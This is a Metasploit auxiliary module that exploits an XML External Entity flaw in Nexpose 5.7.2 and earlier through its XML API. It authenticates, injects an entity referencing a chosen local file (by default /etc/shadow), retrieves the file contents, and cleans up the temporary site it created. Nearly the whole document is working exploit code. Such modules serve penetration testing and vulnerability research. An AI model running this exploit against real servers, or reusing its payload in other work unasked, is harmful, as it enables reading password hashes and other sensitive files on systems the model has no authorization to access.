Nexpose XXE Arbitrary File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'nexpose'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nexpose XXE Arbitrary File Read',  
'Description' => %q{  
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number  
of vectors. This vulnerability can allow an attacker to a craft special XML that  
could read arbitrary files from the filesystem. This module exploits the  
vulnerability via the XML API.  
},  
'Author' => [  
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module  
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector  
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]  
],  
'DefaultOptions' => {  
'SSL' => true  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(3780),  
OptString.new('USERNAME', [true, 'The Nexpose user', nil]),  
OptString.new('PASSWORD', [true, 'The Nexpose password', nil]),  
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow'])  
]  
)  
end  
  
def run  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
trust_store = datastore['TRUST_STORE']  
  
nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)  
  
print_status('Authenticating as: ' << user)  
begin  
nsc.login  
  
connection_details = {  
module_fullname: fullname,  
username: user,  
private_data: pass,  
private_type: :password,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
create_credential_and_login(connection_details)  
rescue StandardError  
print_error('Error authenticating, check your credentials')  
return  
end  
  
xml = '<!DOCTYPE foo ['  
xml << '<!ELEMENT host ANY>'  
xml << %(<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">)  
xml << ']>'  
xml << '<SiteSaveRequest session-id="'  
  
xml << nsc.session_id  
  
xml << '">'  
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'  
xml << '<Hosts>'  
xml << '<host>&xxe;</host>'  
xml << '</Hosts>'  
xml << '<Credentials />'  
xml << '<Alerting />'  
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'  
xml << '</Site>'  
xml << '</SiteSaveRequest>'  
  
print_status('Sending payload')  
begin  
fsa = nsc.execute(xml)  
rescue StandardError  
print_error('Error executing API call for site creation, ensure the filepath is correct')  
return  
end  
  
doc = REXML::Document.new fsa.raw_response_data  
id = doc.root.attributes['site-id']  
  
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"  
  
print_status('Retrieving file')  
begin  
fsa = nsc.execute(xml)  
rescue StandardError  
nsc.site_delete id  
print_error('Error retrieving the file.')  
return  
end  
  
doc = REXML::Document.new fsa.raw_response_data  
  
print_status('Cleaning up')  
begin  
nsc.delete_site id  
rescue StandardError  
print_warning('Error while cleaning up site ID, manual cleanup required!')  
end  
  
unless doc.root.elements['//host']  
print_error('No file returned. Either the server is patched or the file did not exist.')  
return  
end  
  
path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}")  
print_good('File saved to path: ' << path)  
end  
end  
`